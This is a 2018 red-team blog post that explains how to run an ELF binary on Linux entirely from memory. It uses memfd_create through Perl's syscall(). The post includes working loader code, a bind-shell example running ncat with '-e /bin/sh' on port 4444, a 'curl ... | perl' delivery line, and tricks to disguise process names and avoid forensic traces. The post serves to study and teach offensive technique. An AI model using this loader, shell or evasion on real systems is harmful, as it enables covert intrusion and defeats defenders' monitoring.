<!doctype html>
<!--
  Minimal Mistakes Jekyll Theme 4.11.1 by Michael Rose
  Copyright 2013-2018 Michael Rose - mademistakes.com | @mmistakes
  Free for personal and commercial use under the MIT license
  https://github.com/mmistakes/minimal-mistakes/blob/master/LICENSE.txt
-->
<html lang="en" class="no-js">
  <head>
    <meta charset="utf-8">

<!-- begin _includes/seo.html --><title>In-Memory-Only ELF Execution (Without tmpfs)  Mrs Quis Will Think of a Better Title</title>
<meta name="description" content="In which we run a normal ELF binary on Linux without touching the filesystem(except /proc).">



<meta property="og:type" content="article">
<meta property="og:locale" content="en_US">
<meta property="og:site_name" content="Mrs Quis Will Think of a Better Title">
<meta property="og:title" content="In-Memory-Only ELF Execution (Without tmpfs)">
<meta property="og:url" content="https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html">


  <meta property="og:description" content="In which we run a normal ELF binary on Linux without touching the filesystem(except /proc).">





  <meta name="twitter:site" content="@magisterquis">
  <meta name="twitter:title" content="In-Memory-Only ELF Execution (Without tmpfs)">
  <meta name="twitter:description" content="In which we run a normal ELF binary on Linux without touching the filesystem(except /proc).">
  <meta name="twitter:url" content="https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html">

  
    <meta name="twitter:card" content="summary">
    
  

  



  <meta property="article:published_time" content="2018-03-31T00:00:00-04:00">






<link rel="canonical" href="https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html">













<!-- end _includes/seo.html -->


<link href="/feed.xml" type="application/atom+xml" rel="alternate" title="Mrs Quis Will Think of a Better Title Feed">

<!-- http://t.co/dKP3o1e -->
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<script>
  document.documentElement.className = document.documentElement.className.replace(/\bno-js\b/g, '') + ' js ';
</script>

<!-- For all browsers -->
<link rel="stylesheet" href="/assets/css/main.css">

<!--[if lte IE 9]>
  <style>
    /* old IE unsupported flexbox fixes */
    .greedy-nav .site-title {
      padding-right: 3em;
    }
    .greedy-nav button {
      position: absolute;
      top: 0;
      right: 0;
      height: 100%;
    }
  </style>
<![endif]-->


    <!-- start custom head snippets -->

<!-- insert favicons. use https://realfavicongenerator.net/ -->

<!-- end custom head snippets -->

  </head>

  <body class="layout--single">

    <!--[if lt IE 9]>
<div class="notice--danger align-center" style="margin: 0;">You are using an <strong>outdated</strong> browser. Please <a href="https://browsehappy.com/">upgrade your browser</a> to improve your experience.</div>
<![endif]-->

    <div class="masthead">
  <div class="masthead__inner-wrap">
    <div class="masthead__menu">
      <nav id="site-nav" class="greedy-nav">
        <a class="site-title" href="/">Mrs Quis Will Think of a Better Title</a>
        <ul class="visible-links">
          
            
            <li class="masthead__menu-item">
              <a href="https://magisterquis.github.io/about" >About</a>
            </li>
          
        </ul>
        
        <button class="search__toggle" type="button">
          <svg class="icon" width="16" height="16" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 15.99 16">
            <path d="M15.5,13.12L13.19,10.8a1.69,1.69,0,0,0-1.28-.55l-0.06-.06A6.5,6.5,0,0,0,5.77,0,6.5,6.5,0,0,0,2.46,11.59a6.47,6.47,0,0,0,7.74.26l0.05,0.05a1.65,1.65,0,0,0,.5,1.24l2.38,2.38A1.68,1.68,0,0,0,15.5,13.12ZM6.4,2A4.41,4.41,0,1,1,2,6.4,4.43,4.43,0,0,1,6.4,2Z" transform="translate(-.01)"></path>
          </svg>
        </button>
        
        <button class="greedy-nav__toggle hidden" type="button">
          <span class="visually-hidden">Toggle Menu</span>
          <div class="navicon"></div>
        </button>
        <ul class="hidden-links hidden"></ul>
      </nav>
    </div>
  </div>
</div>

    <div class="initial-content">
      



<div id="main" role="main">
  
  <div class="sidebar sticky">
  


<div itemscope itemtype="http://schema.org/Person">

  

  <div class="author__content">
    
      <h3 class="author__name" itemprop="name">Stuart</h3>
    
    
      <p class="author__bio" itemprop="description">
        Professional Red Teamer.  Less-professional security researcher.
      </p>
    
  </div>

  <div class="author__urls-wrapper">
    <button class="btn btn--inverse">Follow</button>
    <ul class="author__urls social-icons">
      
        <li itemprop="homeLocation" itemscope itemtype="http://schema.org/Place">
          <i class="fas fa-fw fa-map-marker-alt" aria-hidden="true"></i> <span itemprop="name">DCish</span>
        </li>
      

      

      

      

      
        <li>
          <a href="https://twitter.com/magisterquis" itemprop="sameAs">
            <i class="fab fa-fw fa-twitter-square" aria-hidden="true"></i> Twitter
          </a>
        </li>
      

      

      

      

      

      

      

      

      
        <li>
          <a href="https://github.com/magisterquis" itemprop="sameAs">
            <i class="fab fa-fw fa-github" aria-hidden="true"></i> GitHub
          </a>
        </li>
      

      

      

      

      

      

      

      

      

      

      

      

      

      

      <!--
  <li>
    <a href="http://link-to-whatever-social-network.com/user/" itemprop="sameAs">
      <i class="fas fa-fw" aria-hidden="true"></i> Custom Social Profile Link
    </a>
  </li>
-->
    </ul>
  </div>
</div>

  
  </div>


  <article class="page" itemscope itemtype="http://schema.org/CreativeWork">
    <meta itemprop="headline" content="In-Memory-Only ELF Execution (Without tmpfs)">
    <meta itemprop="description" content="In which we run a normal ELF binary on Linux without touching the filesystem(except /proc).">
    <meta itemprop="datePublished" content="March 31, 2018">
    

    <div class="page__inner-wrap">
      
        <header>
          <h1 id="page-title" class="page__title" itemprop="headline">In-Memory-Only ELF Execution (Without tmpfs)
</h1>
          
            <p class="page__meta"><i class="far fa-clock" aria-hidden="true"></i> 




  10 minute read
</p>
          
        </header>
      

      <section class="page__content" itemprop="text">
        
          <aside class="sidebar__right">
            <nav class="toc">
              <header><h4 class="nav__title"><i class="fas fa-file-alt"></i> contents</h4></header>
              <ul class="toc__menu">
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#caveats">Caveats</a></li>
  <li><a href="#on-target">On Target</a>
    <ul>
      <li><a href="#memfd_create2">memfd_create(2)</a></li>
      <li><a href="#write2">write(2)</a></li>
      <li><a href="#optional-fork2">Optional: fork(2)</a></li>
      <li><a href="#execve2">execve(2)</a></li>
      <li><a href="#scripting-it">Scripting it</a></li>
    </ul>
  </li>
  <li><a href="#artifacts">Artifacts</a></li>
  <li><a href="#demo">Demo</a></li>
  <li><a href="#tldr">TL;DR</a></li>
</ul>
            </nav>
          </aside>
        
        <p>In which we run a normal ELF binary on Linux without touching the filesystem
(except <code class="highlighter-rouge">/proc</code>).</p>

<h2 id="introduction">Introduction</h2>

<p>Every so often, it’s handy to execute an ELF binary without touching disk.
Normally, putting it somewhere under <code class="highlighter-rouge">/run/user</code> or something else backed by
<a href="http://man7.org/linux/man-pages/man5/tmpfs.5.html">tmpfs</a> works just fine,
but, outside of disk forensics, that looks like a regular file operation.
Wouldn’t it be cool to just grab a chunk of memory, put our binary in there,
and run it without monkey-patching the kernel, <a href="https://grugq.github.io/docs/ul_exec.txt">rewriting <code class="highlighter-rouge">execve(2)</code> in
userland</a>, or <a href="/2018/03/11/process-injection-with-gdb.html">loading a library into
another process</a>?</p>

<p>Enter
<a href="https://dvdhrm.wordpress.com/2014/06/10/memfd_create2/"><code class="highlighter-rouge">memfd_create(2)</code></a>.
This handy little system call is something like
<a href="http://man7.org/linux/man-pages/man3/malloc.3.html"><code class="highlighter-rouge">malloc(3)</code></a>, but instead
of returning a pointer to a chunk of memory, it returns a file descriptor which
refers to an anonymous (i.e. memory-only) file.  This is only visible in the
filesystem as a symlink in <code class="highlighter-rouge">/proc/&lt;PID&gt;/fd/</code> (e.g. <code class="highlighter-rouge">/proc/10766/fd/3</code>), which,
as it turns out, <a href="https://0x00sec.org/t/super-stealthy-droppers/3715"><code class="highlighter-rouge">execve(2)</code> will happily use to execute an ELF
binary</a>.</p>

<p>The <a href="http://man7.org/linux/man-pages/man2/memfd_create.2.html">manpage</a>
has the following to say on the subject of naming anonymous files:</p>

<blockquote>
  <p>The name supplied in <code class="highlighter-rouge">name</code> [an argument to <code class="highlighter-rouge">memfd_create(2)</code>] is used as a
filename and will be displayed as the target of the corresponding symbolic
link in the directory <code class="highlighter-rouge">/proc/self/fd/</code>.  The displayed name is always prefixed
with <code class="highlighter-rouge">memfd:</code> and serves only for debugging purposes.  Names do not affect the
behavior of the file descriptor, and as such multiple files can have the same
name without any side effects.</p>
</blockquote>

<p>In other words, we can give it a name (to which <code class="highlighter-rouge">memfd:</code> will be prepended),
but what we call it doesn’t really do anything except help debugging (or
forensicing).  We can even give the anonymous file an empty name.</p>

<p>Listing <code class="highlighter-rouge">/proc/&lt;PID&gt;/fd</code>, anonymous files look like this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /proc/10766/fd
total 0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 0 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 1 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 2 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 3 -&gt; /memfd:kittens <span class="o">(</span>deleted<span class="o">)</span>
lrwx------ 1 stuart stuart 64 Mar 30 23:23 4 -&gt; /memfd: <span class="o">(</span>deleted<span class="o">)</span>
</code></pre></div></div>
<p>Here we see two anonymous files, one named <code class="highlighter-rouge">kittens</code> and one without a name at
all.  The <code class="highlighter-rouge">(deleted)</code> is inaccurate and looks a bit weird but <em>c’est la vie</em>.</p>

<h2 id="caveats">Caveats</h2>
<p>Unless we land on target with some way to call <code class="highlighter-rouge">memfd_create(2)</code>, from our
initial vector (e.g. injection into a Perl or Python program with
<a href="http://perldoc.perl.org/functions/eval.html"><code class="highlighter-rouge">eval()</code></a>),
we’ll need a way to execute system calls on target.  We could drop a binary to
do this, but then we’ve failed to acheive fileless ELF execution.  Fortunately,
Perl’s <a href="https://perldoc.perl.org/functions/syscall.html"><code class="highlighter-rouge">syscall()</code></a> solves
this problem for us nicely.</p>

<p>We’ll also need a way to write an entire binary to the target’s memory as the
contents of the anonymous file.  For this, we’ll put it in the source of the
script we’ll write to do the injection, but in practice pulling it down over
the network is a viable alternative.</p>

<p>As for the binary itself, it has to be, well, a binary.  Running scripts
starting with <code class="highlighter-rouge">#!/interpreter</code> doesn’t seem to work.</p>

<p>The last thing we need is a sufficiently new kernel.  Anything version
<a href="http://man7.org/linux/man-pages/man2/memfd_create.2.html#VERSIONS">3.17</a>
(released <a href="https://kernelnewbies.org/LinuxVersions">05 October 2014</a>) or later
will work.  We can find the target’s kernel version with <code class="highlighter-rouge">uname -r</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span>uname <span class="nt">-r</span>
4.4.0-116-generic
</code></pre></div></div>

<h2 id="on-target">On Target</h2>
<p>Aside <code class="highlighter-rouge">execve(2)</code>ing an anonymous file instead of a regular filesystem file
and doing it all in Perl, there isn’t much difference from starting any other
program.  Let’s have a look at the system calls we’ll use.</p>

<h3 id="memfd_create2"><code class="highlighter-rouge">memfd_create(2)</code></h3>

<p>Much like a memory-backed <code class="highlighter-rouge">fd = open(name, O_CREAT|O_RDWR, 0700)</code>, we’ll use
the <code class="highlighter-rouge">memfd_create(2)</code> system call to make our anonymous file.  We’ll pass it
the <code class="highlighter-rouge">MFD_CLOEXEC</code> flag (analogous to <code class="highlighter-rouge">O_CLOEXEC</code>), so that the file descriptor
we get will be automatically closed when we <code class="highlighter-rouge">execve(2)</code> the ELF binary.</p>

<p>Because we’re using Perl’s <code class="highlighter-rouge">syscall()</code> to call the <code class="highlighter-rouge">memfd_create(2)</code>, we don’t
have easy access to a user-friendly libc wrapper function or, for that matter,
a nice human-readable <code class="highlighter-rouge">MFD_CLOEXEC</code> constant.  Instead, we’ll need to pass
<code class="highlighter-rouge">syscall()</code> the raw system call number for <code class="highlighter-rouge">memfd_create(2)</code> and the numeric
constant for <code class="highlighter-rouge">MEMFD_CLOEXEC</code>.  Both of these are found in header files in
<code class="highlighter-rouge">/usr/include</code>.  System call numbers are stored in <code class="highlighter-rouge">#define</code>s starting with
<code class="highlighter-rouge">__NR_</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>stuart@ubuntu-s-1vcpu-1gb-nyc1-01:/usr/include<span class="nv">$ </span>egrep <span class="nt">-r</span> <span class="s1">'__NR_memfd_create|MFD_CLOEXEC'</span> <span class="k">*</span>
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL<span class="o">(</span>__NR_memfd_create, sys_memfd_create<span class="o">)</span>
linux/memfd.h:#define MFD_CLOEXEC               0x0001U
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create <span class="o">(</span>__X32_SYSCALL_BIT + 319<span class="o">)</span>
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
</code></pre></div></div>
<p>Looks like <code class="highlighter-rouge">memfd_create(2)</code> is system call number 319 on 64-bit Linux
(<code class="highlighter-rouge">#define __NR_memfd_create</code> in a file with a name ending in <code class="highlighter-rouge">_64.h</code>), and
<code class="highlighter-rouge">MFD_CLOEXEC</code> is a consatnt <code class="highlighter-rouge">0x0001U</code> (i.e. 1, in <code class="highlighter-rouge">linux/memfd.h</code>).  Now that
we’ve got the numbers we need, we’re almost ready to do the Perl equivalent of
C’s <code class="highlighter-rouge">fd = memfd_create(name, MFD_CLOEXEC)</code> (or more specifically, <code class="highlighter-rouge">fd =
syscall(319, name, MFD_CLOEXEC)</code>).</p>

<p>The last thing we need is a name for our file.  In a file listing, <code class="highlighter-rouge">/memfd:</code> is
probably a bit better-looking than <code class="highlighter-rouge">/memfd:kittens</code>, so we’ll pass an empty
string to <code class="highlighter-rouge">memfd_create(2)</code> via <code class="highlighter-rouge">syscall()</code>.  Perl’s <code class="highlighter-rouge">syscall()</code> won’t take
string literals (due to passing a pointer under the hood), so we make a
variable with the empty string and use it instead.</p>

<p>Putting it together, let’s finally make our anonymous file:</p>
<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">my</span> <span class="nv">$name</span> <span class="o">=</span> <span class="s">""</span><span class="p">;</span>
<span class="k">my</span> <span class="nv">$fd</span> <span class="o">=</span> <span class="nb">syscall</span><span class="p">(</span><span class="mi">319</span><span class="p">,</span> <span class="nv">$name</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$fd</span><span class="p">)</span> <span class="p">{</span>
        <span class="nb">die</span> <span class="s">"memfd_create: $!"</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We now have a file descriptor number in <code class="highlighter-rouge">$fd</code>.  We can wrap that up in a Perl
one-liner which lists its own file descriptors after making the anonymous file:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span>perl <span class="nt">-e</span> <span class="s1">'$n="";die$!if-1==syscall(319,$n,1);print`ls -l /proc/$$/fd`'</span>
total 0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 0 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 1 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 2 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 3 -&gt; /memfd: <span class="o">(</span>deleted<span class="o">)</span>
</code></pre></div></div>

<h3 id="write2"><code class="highlighter-rouge">write(2)</code></h3>

<p>Now that we have an anonymous file, we need to fill it with ELF data.  First
we’ll need to get a Perl filehandle from a file descriptor, then we’ll need to
get our data in a format that can be written, and finally, we’ll write it.</p>

<p>Perl’s <a href="http://perldoc.perl.org/functions/open.html"><code class="highlighter-rouge">open()</code></a>, which is
normally used to open files, can also be used to turn an already-open file
descriptor into a file handle by specifying something like <code class="highlighter-rouge">&gt;&amp;=X</code> (where X is a
file descriptor) instead of a file name.  We’ll also want to enable
<a href="https://perl.plover.com/FAQs/Buffering.html">autoflush</a> on the new file
handle:</p>

<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">open</span><span class="p">(</span><span class="k">my</span> <span class="nv">$FH</span><span class="p">,</span> <span class="s">'&gt;&amp;='</span><span class="o">.</span><span class="nv">$fd</span><span class="p">)</span> <span class="ow">or</span> <span class="nb">die</span> <span class="s">"open: $!"</span><span class="p">;</span>
<span class="nb">select</span><span class="p">((</span><span class="nb">select</span><span class="p">(</span><span class="nv">$FH</span><span class="p">),</span> <span class="vg">$|</span><span class="o">=</span><span class="mi">1</span><span class="p">)[</span><span class="mi">0</span><span class="p">]);</span>
</code></pre></div></div>
<p>We now have a file handle which refers to our anonymous file.</p>

<p>Next we need to make our binary available to Perl, so we can write it to the
anonymous file.  We’ll turn the binary into a bunch of Perl print statements
of which each write a chunk of our binary to the anonymous file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>perl <span class="nt">-e</span> <span class="s1">'$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(&lt;&gt;)'</span> ./elfbinary
</code></pre></div></div>

<p>This will give us many, many lines similar to:</p>

<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/7f454c4602010100000000000000000002003e0001000000304f450000000000/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/4000000000000000c80100000000000000000000400038000700400017000300/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/0600000004000000400000000000000040004000000000004000400000000000/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
</code></pre></div></div>
<p>Exceuting those puts our ELF binary into memory.  Time to run it.</p>

<h3 id="optional-fork2">Optional: <code class="highlighter-rouge">fork(2)</code></h3>

<p>Ok, <a href="http://man7.org/linux/man-pages/man2/fork.2.html"><code class="highlighter-rouge">fork(2)</code></a>  is isn’t
actually a system call; it’s really a libc function which does all sorts of
stuff under the hood.  Perl’s
<a href="https://perldoc.perl.org/functions/fork.html"><code class="highlighter-rouge">fork()</code></a> is functionally
identical to libc’s as far as process-making goes: once it’s called, there are
now two nearly identical processes running (of which one, usually the child,
often finds itself calling <code class="highlighter-rouge">exec(2)</code>).  We don’t actually have to spawn a new
process to run our ELF binary, but if we want to do more than just run it and
exit (say, run it multiple times), it’s the way to go.  In general, using
<code class="highlighter-rouge">fork()</code> to spawn multiple children looks something like:</p>
<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="p">(</span><span class="nv">$keep_going</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">my</span> <span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
                <span class="nb">die</span> <span class="s">"fork: $!"</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Child</span>
                <span class="c1"># Do child things here</span>
                <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Another handy use of <code class="highlighter-rouge">fork()</code>, especially when done twice with a call to
<code class="highlighter-rouge">setsid(2)</code> in the middle, is to spawn a disassociated child and let the parent
terminate:</p>

<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Spawn child</span>
<span class="k">my</span> <span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
        <span class="nb">die</span> <span class="s">"fork1: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Parent terminates</span>
        <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># In the child, become session leader</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nb">syscall</span><span class="p">(</span><span class="mi">112</span><span class="p">))</span> <span class="p">{</span>
        <span class="nb">die</span> <span class="s">"setsid: $!"</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1"># Spawn grandchild</span>
<span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
        <span class="nb">die</span> <span class="s">"fork2: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Child terminates</span>
        <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># In the grandchild here, do grandchild things</span>
</code></pre></div></div>

<p>We can now have our ELF process run multiple times or in a separate process.
Let’s do it.</p>

<h3 id="execve2"><code class="highlighter-rouge">execve(2)</code></h3>

<p>Linux process creation is a funny thing.  Ever since the <a href="http://www.read.seas.harvard.edu/~kohler/class/aosref/ritchie84evolution.pdf">early days of
Unix</a>,
process creation has been a combination of not much more than duplicating a
current process and swapping out the new clone’s program with what should be
running, and on Linux it’s no different.  The
<a href="http://man7.org/linux/man-pages/man2/execve.2.html"><code class="highlighter-rouge">execve(2)</code></a> system call
does the second bit: it changes one running program into another.  Perl gives
us <a href="http://perldoc.perl.org/functions/exec.html"><code class="highlighter-rouge">exec()</code></a>, which does more or
less the same, albiet with easier syntax.</p>

<p>We pass to <code class="highlighter-rouge">exec()</code> two things: the file containing the program to execute
(i.e.  our in-memory ELF binary) and a list of arguments, of which the first
element is usually taken as the process name.  Usually, the file and the
process name are the same, but since it’d look bad to have <code class="highlighter-rouge">/proc/&lt;PID&gt;/fd/3</code>
in a process listing, we’ll name our process something else.</p>

<p>The syntax for calling <code class="highlighter-rouge">exec()</code> is a bit odd, and explained much better in the
documentation.  For now, we’ll take it on faith that the file is passed as a
string in curly braces and there follows a comma-separated list of process
arguments.  We can use the variable <code class="highlighter-rouge">$$</code> to get the pid of our own Perl
process.  For the sake of clarity, the following assumes we’ve put <code class="highlighter-rouge">ncat</code> in
memory, but in practice, it’s better to use something which takes arguments
that don’t look like a backdoor.</p>

<div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">exec</span> <span class="p">{</span><span class="s">"/proc/$$/fd/$fd"</span><span class="p">}</span> <span class="s">"kittens"</span><span class="p">,</span> <span class="s">"-kvl"</span><span class="p">,</span> <span class="s">"4444"</span><span class="p">,</span> <span class="s">"-e"</span><span class="p">,</span> <span class="s">"/bin/sh"</span> <span class="ow">or</span> <span class="nb">die</span> <span class="s">"exec: $!"</span><span class="p">;</span>
</code></pre></div></div>
<p>The new process won’t have the anonymous file open as a symlink in
<code class="highlighter-rouge">/proc/&lt;PID&gt;/fd</code>, but the anonymous file will be visible as the
<code class="highlighter-rouge">/proc/&lt;PID&gt;/exe</code> symlink, which normally points to the file containing the
program which is being executed by the process.</p>

<p>We’ve now got an ELF binary running without putting anything on disk or even in
the filesystem.</p>

<h3 id="scripting-it">Scripting it</h3>

<p>It’s not likely we’ll have the luxury of being able to sit on target and do all
of the above by hand.   Instead, we’ll pipe the script (<code class="highlighter-rouge">elfload.pl</code> in the
example below) via SSH to Perl’s stdin, and use a bit of shell trickery to keep
<code class="highlighter-rouge">perl</code> with no arguments from showing up in the process list:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> ./elfload.pl | ssh user@target /bin/bash <span class="nt">-c</span> <span class="s1">'"exec -a /sbin/iscsid perl"'</span>
</code></pre></div></div>
<p>This will run Perl, renamed in the process list to <code class="highlighter-rouge">/sbin/iscsid</code> with no
arguments. When not given a script or a bit of code with <code class="highlighter-rouge">-e</code>, Perl expects a
script on stdin, so we send the script to perl stdin via our local SSH client.
The end result is our script is run without touching disk at all.</p>

<p>Without creds but with access to the target (i.e. after exploiting on), in most
cases we can probably use the devopsy <code class="highlighter-rouge">curl http://server/elfload.pl | perl</code>
trick (or intercept someone doing the trick for us).  As long as the script
makes it to Perl’s stdin and Perl gets an EOF when the script’s all read, it
doesn’t particularly matter how it gets there.</p>

<h2 id="artifacts">Artifacts</h2>
<p>Once running, the only real difference between a program running from an
anonymous file and a program running from a normal file is the
<code class="highlighter-rouge">/proc/&lt;PID&gt;/exe</code> symlink.</p>

<p>If something’s monitoring system calls (e.g. someone’s running <code class="highlighter-rouge">strace -f</code> on
sshd), the <code class="highlighter-rouge">memfd_create(2)</code> calls will stick out, as will passing paths in
<code class="highlighter-rouge">/proc/&lt;PID&gt;/fd</code> to <code class="highlighter-rouge">execve(2)</code>.</p>

<p>Other than that, there’s very little evidence anything is wrong.</p>

<h2 id="demo">Demo</h2>
<p>To see this in action, have a look at this asciicast.
<a href="https://asciinema.org/a/173715"><img src="https://asciinema.org/a/173715.png" alt="asciicast" /></a></p>

<h2 id="tldr">TL;DR</h2>
<p>In C (translate to your non-disk-touching language of choice):</p>
<ol>
  <li><code class="highlighter-rouge">fd = memfd_create("", MFD_CLOEXEC);</code></li>
  <li><code class="highlighter-rouge">write(fd, elfbuffer, elfbuffer_len);</code></li>
  <li><code class="highlighter-rouge">asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);</code></li>
</ol>

<hr />
<p><em>Updated 20170402 to link to
https://0x00sec.org/t/super-stealthy-droppers/3715, from where I got
<code class="highlighter-rouge">execve("/proc/&lt;PID&gt;/fd/&lt;FD&gt;...</code></em></p>

        
      </section>

      <footer class="page__meta">
        
        


        
          <p class="page__date"><strong><i class="fas fa-fw fa-calendar-alt" aria-hidden="true"></i> Updated:</strong> <time datetime="2018-03-31T00:00:00-04:00">March 31, 2018</time></p>
        
      </footer>

      <section class="page__share">
  

  <a href="https://twitter.com/intent/tweet?via=magisterquis&text=In-Memory-Only+ELF+Execution+%28Without+tmpfs%29%20https%3A%2F%2Fmagisterquis.github.io%2F2018%2F03%2F31%2Fin-memory-only-elf-execution.html" class="btn btn--twitter" onclick="window.open(this.href, 'window', 'left=20,top=20,width=500,height=500,toolbar=1,resizable=0'); return false;" title="Share on Twitter"><i class="fab fa-fw fa-twitter" aria-hidden="true"></i><span> Twitter</span></a>

  <a href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fmagisterquis.github.io%2F2018%2F03%2F31%2Fin-memory-only-elf-execution.html" class="btn btn--facebook" onclick="window.open(this.href, 'window', 'left=20,top=20,width=500,height=500,toolbar=1,resizable=0'); return false;" title="Share on Facebook"><i class="fab fa-fw fa-facebook" aria-hidden="true"></i><span> Facebook</span></a>

  <a href="https://plus.google.com/share?url=https%3A%2F%2Fmagisterquis.github.io%2F2018%2F03%2F31%2Fin-memory-only-elf-execution.html" class="btn btn--google-plus" onclick="window.open(this.href, 'window', 'left=20,top=20,width=500,height=500,toolbar=1,resizable=0'); return false;" title="Share on Google Plus"><i class="fab fa-fw fa-google-plus" aria-hidden="true"></i><span> Google+</span></a>

  <a href="https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fmagisterquis.github.io%2F2018%2F03%2F31%2Fin-memory-only-elf-execution.html" class="btn btn--linkedin" onclick="window.open(this.href, 'window', 'left=20,top=20,width=500,height=500,toolbar=1,resizable=0'); return false;" title="Share on LinkedIn"><i class="fab fa-fw fa-linkedin" aria-hidden="true"></i><span> LinkedIn</span></a>
</section>


      
  <nav class="pagination">
    
      <a href="/2018/03/11/process-injection-with-gdb.html" class="pagination--pager" title="Process Injection with GDB
">Previous</a>
    
    
      <a href="#" class="pagination--pager disabled">Next</a>
    
  </nav>

    </div>

    
  </article>

  
  
</div>
    </div>

    
      <div class="search-content">
        <div class="search-content__inner-wrap"><input type="text" id="search" class="search-input" tabindex="-1" placeholder="Enter your search term..." />
    <div id="results" class="results"></div></div>
      </div>
    

    <div class="page__footer">
      <footer>
        <!-- start custom footer snippets -->

<!-- end custom footer snippets -->
        <div class="page__footer-follow">
  <ul class="social-icons">
    
    
